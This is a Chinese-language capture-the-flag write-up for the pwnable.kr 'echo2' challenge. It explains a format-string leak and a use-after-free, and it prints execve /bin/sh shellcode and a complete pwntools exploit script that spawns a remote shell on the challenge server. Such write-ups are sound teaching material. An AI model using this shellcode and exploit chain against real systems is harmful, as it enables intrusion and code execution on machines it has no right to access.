pwnable.kr echo2 writeup

题目大概逻辑是登录后输入一个用户名,然后可选的echo有两种,一种名为FSB,一种名为UAF,那么很容易想到这道题目考察的是格式化字符串和UAF了。

用ida分析,先看echo2函数,很简单的格式化字符串,没有任何过滤

__int64 echo2()
{
  char format; // [sp+0h] [bp-20h]@1

  (*((void (__fastcall **)(_QWORD))o + 3))(o);
  get_input(&format, 32LL);
  printf(&format);
  (*((void (__fastcall **)(_QWORD))o + 4))(o);
  return 0LL;
}

不过一个格式化字符串能做到的事情有限,所以继续往下看,注意到在退出时调用了cleanup对变量进行了free,但是这里退出并不是真的退出,如果用户在之后输入n,则继续运行,所以这里存在一个uaf。

__int64 echo3()
{
  char *s; // ST08_8@1

  (*((void (__fastcall **)(_QWORD))o + 3))(o);
  s = (char *)malloc(0x20uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
  return 0LL;
}

所以现在思路就清晰了,把shellcode写入用户名中,利用格式化字符串读取地址然后利用UAF执行之前的shellcode,获得shell。

那么接下来要做的是完成利用脚本。

从代码中看到,读取的用户名长度限制为24,所以需要找一个较短的shellcode,在exploitdb上容易找到。

\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05

然后要做的是获取用户名的地址,在格式化字符串的时候输入%10$p即可,但是这里的地址和用户名的地址还有0x20的偏移,在之后要减去。

最后的payload如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p = remote("pwnable.kr", 9011)
p.recvuntil(":")

shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f"
shellcode += "\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

p.sendline(shellcode)

p.recvuntil(">")
p.sendline('2')
p.sendline("%10$p")
p.recvline()

# leak addr
addr = int(p.recvline(), 16) - 0x20

# free
p.sendline('4')
p.sendline('n')
p.sendline('3')
p.sendline('A' * 24 + p64(addr))

p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Ubuntu的发音 Ubuntu,源于非洲祖鲁人和科萨人的语言,发作 oo-boon-too 的音。了解发音是有意...
    萤火虫de梦阅读 99,643评论 9 467
  • linux资料总章2.1 1.0写的不好抱歉 但是2.0已经改了很多 但是错误还是无法避免 以后资料会慢慢更新 大...
    数据革命阅读 12,242评论 2 33
  • 《ijs》速成开发手册3.0 官方用户交流:iApp开发交流(1) 239547050iApp开发交流(2) 10...
    叶染柒丶阅读 5,369评论 0 7
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,026评论 19 139
  • JS时间函数一般操作 var time = new Date(); 实例化一个时间类,获得当前时间的一个字符串 t...
    377b79b94683阅读 558评论 0 0